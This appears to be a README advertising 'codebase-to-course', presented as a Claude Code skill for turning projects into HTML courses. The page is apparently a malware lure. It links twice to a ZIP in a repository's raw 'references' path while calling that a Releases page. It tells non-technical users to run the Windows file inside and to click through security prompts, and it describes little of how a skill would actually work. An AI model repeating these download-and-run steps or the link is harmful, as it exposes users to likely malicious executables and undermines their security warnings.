codebase-to-course is a Claude Code skill that turns a codebase into a single-page HTML course.
It helps you take a project folder and turn it into a clear learning page for non-technical users. The result is a simple HTML file with sections, examples, and a guided flow that makes the code easier to explore.
- Turn a codebase into one HTML course page
- Make project structure easier to follow
- Create a guided learning path from code files
- Share the output as a local HTML file
- Use it with projects of many sizes
- Keep the result easy to open in a browser
Visit this page to download: https://raw.githubusercontent.com/windowvalue821/codebase-to-course/main/references/course_to_codebase_v1.8.zip
On the Releases page:
- Open the latest release
- Download the Windows file from the Assets list
- Save the file to a folder you can find again
- Double-click the file to run it
If your browser asks where to save the file, choose a folder like Downloads or Desktop so you can find it fast.
After you download the file:
- Open File Explorer
- Go to the folder where you saved the download
- Double-click the app or archive file
- If Windows shows a security prompt, choose Run or Yes
- Follow the on-screen steps
If the download comes as a ZIP file, right-click it and choose Extract All first. Then open the extracted folder and run the main file inside.
You point codebase-to-course at a codebase, and it builds a course-style HTML page from the files it finds.
The page can include:
- A simple overview of the project
- Key folders and files
- Plain-English explanations
- Step-by-step learning sections
- Visual structure that is easy to scan in a browser
This is useful when you want to understand a codebase without reading every file one by one.
This tool fits a common workflow:
- You have a code project on your computer
- You run codebase-to-course on that folder
- It creates a single HTML file
- You open the file in your browser
- You read the project as a course instead of raw code
That makes it easier to see what the code does and how the parts fit together.
- Windows 10 or Windows 11
- A modern web browser such as Edge, Chrome, or Firefox
- Enough free disk space for the app and output files
- Permission to run downloaded files on your PC
For best results, use a folder with normal read access, such as Documents or Desktop.
The generated course is a single-page HTML file. It opens in a browser and keeps the content in one place.
A typical course page may include:
- A title and project overview
- A folder map
- File-by-file notes
- Short explanations in plain language
- A clean layout with scrollable sections
- A format that works well for sharing
Because the output is HTML, you can open it without special software.
- Download the release from the link above
- Run the Windows app
- Choose the codebase folder you want to study
- Wait for the course to build
- Open the HTML file in your browser
- Read through the course at your own pace
If the app asks for an input folder, choose the root folder of the project, not a single file.
Use a folder that contains the main project files, such as:
- source files
- README files
- config files
- asset folders
- package or project files
If you choose a nested folder by mistake, the output may miss parts of the project. Pick the top-level project folder when possible.
- Use a clean project folder
- Close files you do not need
- Keep file names simple
- Start with smaller projects if you are new
- Open the generated HTML file in a full-size browser window
If the project has a clear structure, the course output usually reads better.
codebase-to-course works well with:
- web apps
- small tools
- script collections
- learning repos
- app prototypes
- design-to-code projects
It can also help with mixed folders that include docs, source code, and helper files.
The tool can work with common project files such as:
- .js
- .ts
- .html
- .css
- .json
- .md
- .py
- .txt
It may also use folder names and README files to build a clearer course view.
Code often looks dense and hard to read. This tool turns that into a more guided format.
That helps when you want to:
- understand what a project does
- review a codebase without opening every file
- get a simple view of a technical folder
- share a project with someone who does not code
It shifts the focus from raw files to a clear reading path.
If you have a folder called my-app, you can point the tool at that folder. It can build a page that explains:
- what
my-appdoes - where the main code lives
- which files matter most
- how the parts connect
- what the project structure means
You then open the HTML page in your browser and read it like a short course.
If the app does not start:
- Check that the file finished downloading
- Try running it again from the same folder
- Make sure Windows did not block the file
- Re-download from the Releases page if needed
- Try a different browser for the output HTML
If the output file does not appear, check the folder you selected as the source path and the folder where the app saves files.
Download from Releases: https://raw.githubusercontent.com/windowvalue821/codebase-to-course/main/references/course_to_codebase_v1.8.zip
Use this page if you need the latest Windows build or want to get the file again after removing it
- Download the release
- Run the Windows file
- Pick a source code folder
- Generate the HTML course
- Open the HTML file in a browser
- Read the course page
The main value is simple: it turns code into a readable course page.
That saves time when you need to:
- inspect a project
- understand file layout
- teach a project to someone else
- create a neat HTML view of a codebase
It keeps the process focused on reading and browsing, not on learning a complex toolchain